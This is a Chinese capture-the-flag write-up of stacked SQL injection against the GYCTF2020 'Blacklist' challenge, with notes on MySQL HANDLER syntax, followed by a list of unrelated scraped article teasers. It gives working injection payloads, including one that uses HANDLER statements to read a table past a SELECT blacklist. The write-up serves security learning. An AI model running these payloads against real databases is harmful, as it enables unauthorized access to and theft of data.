堆叠注入 [GYCTF2020]Blacklist1
打开题目

判断注入点
输入1,页面回显

输入1'
页面报错

输入 1' #
页面正常,说明是单引号的字符型注入

我们输入1'; show databases; #

说明有6个数据库
1'; show tables; #

说明有三个表
我们直接查看FlagHere的表结构
1';desc `FlagHere`;#

发现下面没有flag
那我们接着爆破列名字段
1' order by 2; #页面正常

1' order by 3; # 页面报错

说明列名字段数为2
输入1';select * from FlagHere; #

发现页面过滤了很多东西
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
所以union select联合注入就用不了
那我们就尝试堆叠注入和handl句
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
得到flag

知识点:
堆叠注入
原理:
mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,是否会一起执行?
因此这个想法也就造就了堆叠注入
实现条件:
堆叠注入原理是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法。例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
相关文章:堆叠注入原理解析_Stray.io的博客-CSDN博客
堆叠注入的一些操作:
获取库名、表名、列名
show databases;
show tables;
show columns from `table_name`;
查看表结构
desc `表名`;
MySQL关于HANDLER命令的用法
官方给出的格式
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name CLOSE
HANDLER ... OPEN语句会打开一个表,使其能够用后续的HANDLER ... READ语句访问。这个表不能和其他会话共享直到HANDLER ... CLOSE或会话关闭。
如果使用别名打开表,后续在使用HANDLER语句打开表必须使用别名而不能用原表名。如果不使用别名,而是使用带有数据库名前缀的表名,后续引用需要去掉数据库名。例如,使用mydb.mytable,后续引用需使用mytable。
第一个HANDER ... READ语法获取的是特定索引满足给定值并且满足where条件的行。如果是多列索引,给定的索引列值应该是用逗号隔开的列表。要么指定索引中所有列的值,要么指定索引列中的最左边的不几列。如果索引my_idx包含col_a,col_b,col_c。HANDLER语句可以指定索引中的全部三个列值,或者是最左边的几列。例如
HANDLER ... READ my_idx = (col_a_val,col_b_val,col_c_val) ...
HANDLER ... READ my_idx = (col_a_val,col_b_val) ...
HANDLER ... READ my_idx = (col_a_val) ...
第二个HANDLER ... READ语法表示按照索引的某种顺序来按照where条件筛选结果行
第三个HANDLER ... READ语法表示按照表中行的自然顺序匹配where条件。当需要全表扫描来获取每一行时(结果行足够多),比第一、二种使用索引方式都要更快。实际上,自然行顺序就是数据行在MyISAM表数据文件中的存放顺序。这条语句对于InnoDB表同样适用,但是不存在这样的概念,因为没有独立的数据文件。
若没有LIMIT子句,所有HANDLER ... READ形式的语句都最多只会获取一行。要返回多少行,就LIMIT多少。
HANDLER ... CLOSE用于关闭用HANDLER ... OPEN打开的表。
假设有一张表叫’user’,有一列叫’name’,该列有一个索引叫’name_index’,如果要查询name为小明的记录,那么HANDLER语句的写法就是:
handler user open as user;
handler user READ name_index=('小明') ;handler user close;
需要注意的是,这个语句只会返回一条记录(如果表中有满足条件的记录),如果要返回多条,可以这么写
handler user open as user;
handler user READ name_index=('小明') limit 10 ;handler user close;
我们没办法一次返回所有的记录——因为我们并不知道满足条件的记录一共有多少条
其他大佬给出的解释
句柄:句柄(Handle)是一个是用来标识对象或者项目的标识符,可以用来描述窗体、文件等。这是我从百度上搜到的。
翻译成白话就是,
句柄相当于一个指针,是一个广义的指针,不是特定指向某一个形式(整数、数组、对象等)。
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ]# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ]# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]# 关闭已打开的句柄
HANDLER tbl_name CLOSE
相关文章链接:MySQL关于HANDLER命令的说明_handler open as ``;-CSDN博客
Mysql HANDLER语句 - 简书
【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客
相关文章:
堆叠注入 [GYCTF2020]Blacklist1
打开题目 判断注入点 输入1,页面回显 输入1 页面报错 输入 1 # 页面正常,说明是单引号的字符型注入 我们输入1; show databases; # 说明有6个数据库 1; show tables; # 说明有三个表 我们直接查看FlagHere的表结构 1;desc FlagHere;# 发…...
算法:Java构建二叉树并递归实现二叉树的前序、中序、后序遍历
先自定义一下二叉树的类: // Definition for a binary tree node. public class TreeNode {int val;TreeNode left;TreeNode right;TreeNode() {}TreeNode(int val) { this.val val; }TreeNode(int val, TreeNode left, TreeNode right) {this.val val;this.left…...
既然有了字节流,为什么还要有字符流?
字符流和字节流之间的区别主要在于它们处理数据的方式和用途: 字节流:字节流以字节为单位进行数据的读取和写入,适用于处理二进制数据,如图像、音频和视频文件。字节流是处理底层数据的理想选择,它不会对数据进行编码…...
3+单细胞+代谢+WGCNA+机器学习
今天给同学们分享一篇生信文章“Identification of new co-diagnostic genes for sepsis and metabolic syndrome using single-cell data analysis and machine learning algorithms”,这篇文章发表Front Genet.期刊上,影响因子为3.7。 结果解读&#x…...
音乐推荐与管理系统Python+Django网页界面+协同过滤推荐算法
一、介绍 音乐推荐与管理系统。本系统采用Python作为主要开发语言,前端使用HTML、CSS、BootStrap等技术搭建界面平台,后端使用Django框架处理请求,并基于Ajax等技术实现前端与后端的数据通信。在音乐个性推荐功能模块中采用通过Python编写协…...
(论文阅读15/100)You Only Look Once: Unified, Real-Time Object Detection
文献阅读笔记 简介 题目 You Only Look Once: Unified, Real-Time Object Detection 作者 Joseph Redmon, Santosh Divvala, Ross Girshick, Ali Farhadi 原文链接 https://arxiv.org/pdf/1506.02640.pdf 《You Only Look Once: Unified, Real-Time Object Detection》…...
init进程启动过程
首语 init进程是Android系统中用户空间的第一个进程,进程号为1,是Android系统启动的一个关键步骤,作为第一个进程,它的主要工作是创建Zygote和启动属性服务等。init进程是由多个源文件共同组成的,源码目录在system/co…...
全网最详细的【shell脚本的入门】
🏅我是默,一个在CSDN分享笔记的博主。📚📚 🌟在这里,我要推荐给大家我的专栏《Linux》。🎯🎯 🚀无论你是编程小白,还是有一定基础的程序员,这…...
CH10_简化条件逻辑
分解条件表达式(Decompose Conditional) if (!aDate.isBefore(plan.summerStart) && !aDate.isAfter(plan.summerEnd))charge quantity * plan.summerRate; elsecharge quantity * plan.regularRate plan.regularServiceCharge;if (summer())…...
nn.LayerNorm解释
这个是层归一化。我们输入一个参数,这个参数就必须与最后一个维度对应。但是我们也可以输入多个维度,但是必须从后向前对应。 import torch import torch.nn as nna torch.rand((100,5)) c nn.LayerNorm([5]) print(c(a).shape)a torch.rand((100,5,…...
Springboot搭建微服务案例之Eureka注册中心
一、父工程依赖管理 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org…...
【MySQL】用户管理权限控制
文章目录 前言一. 用户管理1. 创建用户2. 删除用户3. 修改用户密码 二. 权限控制1. 用户授权2. 查看权限3. 回收权限 结束语 前言 MySQL的数据其实也以文件形式保存,而登录信息同样保存在文件中 MySQL的数据在Linux下默认路径是/var/lib/mysql 登录MySQL同样也可以…...
若依框架前后端分离版服务器部署,前端nginx的配置
server {listen 80;server_name 120.46.177.184;index index.php index.html index.htm default.php default.htm default.html;root /www/wwwroot/qilaike-vue/dist;#SSL-START SSL相关配置,请勿删除或修改下一行带注释的404规则#error_page 404/404.html;#SSL-END…...
基于单片机的滚筒洗衣机智能控制系统设计
收藏和点赞,您的关注是我创作的动力 文章目录 概要 一、系统整体设计方案2.1控制系统的功能2.2设计的主要内容 二、硬件设计3.1 控制系统整体框图3.2 电源电路 三 软件设计主程序设计仿真设计 四、 结论 概要 因此我们需要一个完善的智能系统来设计一个全自动滚筒洗…...
简述多模态学习中,对齐、融合和表示
在多模态学习中,对齐、融合和表示是三个核心概念,它们相互关联,共同支持多模态数据的处理和分析。 对齐(Alignment) 对齐是多模态学习中的一个关键步骤,它涉及到如何在不同的数据模态之间发现和建立对应关…...
Kotlin 进阶函数式编程技巧
Kotlin 进阶函数式编程技巧 Kotlin 简介 软件开发环境不断变化,要求开发人员不仅适应,更要进化。Kotlin 以其简洁的语法和强大的功能迅速成为许多人进化过程中的信赖伙伴。虽然 Kotlin 的初始吸引力可能是它的简洁语法和与 Java 的互操作性,…...
操作系统——内存映射文件(王道视频p57)
1.总体概述: 2.传统文件访问方式: 我认为,这种方式最大的劣势在于,如果要对整个文件的不同部分进行多次操作的话,这样确实开销可能会大一些,而且程序员还要指定对应的“分块”载入到内存中 3.内存映射文件…...
王道p18 07.将两个有序顺序表合并为一个新的有序顺序表,并由函数返回结果顺序表。(c语言代码实现)
视频讲解在这:👇 p18 第7题 c语言代码实现王道数据结构课后代码题_哔哩哔哩_bilibili 本题代码如下 int merge(struct sqlist* A, struct sqlist* B, struct sqlist* C) {if (A->length B->length > C->length)//大于顺序表的最大长度r…...
2024最新mac电脑清理垃圾的软件有哪些?
mac电脑是许多人喜爱的电子产品,它拥有优美的设计、流畅的操作系统和强大的性能。但是,随着使用时间的增长,mac电脑也会积累一些不必要的垃圾文件,这些文件会占用宝贵的存储空间,影响电脑的运行速度和稳定性。因此&…...
2023年【山东省安全员C证】考试技巧及山东省安全员C证模拟试题
题库来源:安全生产模拟考试一点通公众号小程序 山东省安全员C证考试技巧考前必练!安全生产模拟考试一点通每个月更新山东省安全员C证模拟试题题目及答案!多做几遍,其实通过山东省安全员C证模拟考试题很简单。 1、【多选题】《环境…...
idea大量爆红问题解决
问题描述 在学习和工作中,idea是程序员不可缺少的一个工具,但是突然在有些时候就会出现大量爆红的问题,发现无法跳转,无论是关机重启或者是替换root都无法解决 就是如上所展示的问题,但是程序依然可以启动。 问题解决…...
stm32G473的flash模式是单bank还是双bank?
今天突然有人stm32G473的flash模式是单bank还是双bank?由于时间太久,我真忘记了。搜搜发现,还真有人和我一样。见下面的链接:https://shequ.stmicroelectronics.cn/forum.php?modviewthread&tid644563 根据STM32G4系列参考手…...
mongodb源码分析session执行handleRequest命令find过程
mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程,并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令,把数据流转换成Message,状态转变流程是:State::Created 》 St…...
【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...
Nuxt.js 中的路由配置详解
Nuxt.js 通过其内置的路由系统简化了应用的路由配置,使得开发者可以轻松地管理页面导航和 URL 结构。路由配置主要涉及页面组件的组织、动态路由的设置以及路由元信息的配置。 自动路由生成 Nuxt.js 会根据 pages 目录下的文件结构自动生成路由配置。每个文件都会对…...
镜像里切换为普通用户
如果你登录远程虚拟机默认就是 root 用户,但你不希望用 root 权限运行 ns-3(这是对的,ns3 工具会拒绝 root),你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案:创建非 roo…...
如何为服务器生成TLS证书
TLS(Transport Layer Security)证书是确保网络通信安全的重要手段,它通过加密技术保护传输的数据不被窃听和篡改。在服务器上配置TLS证书,可以使用户通过HTTPS协议安全地访问您的网站。本文将详细介绍如何在服务器上生成一个TLS证…...
Caliper 配置文件解析:config.yaml
Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...
【数据分析】R版IntelliGenes用于生物标志物发现的可解释机器学习
禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍流程步骤1. 输入数据2. 特征选择3. 模型训练4. I-Genes 评分计算5. 输出结果 IntelliGenesR 安装包1. 特征选择2. 模型训练和评估3. I-Genes 评分计…...
【Java学习笔记】BigInteger 和 BigDecimal 类
BigInteger 和 BigDecimal 类 二者共有的常见方法 方法功能add加subtract减multiply乘divide除 注意点:传参类型必须是类对象 一、BigInteger 1. 作用:适合保存比较大的整型数 2. 使用说明 创建BigInteger对象 传入字符串 3. 代码示例 import j…...
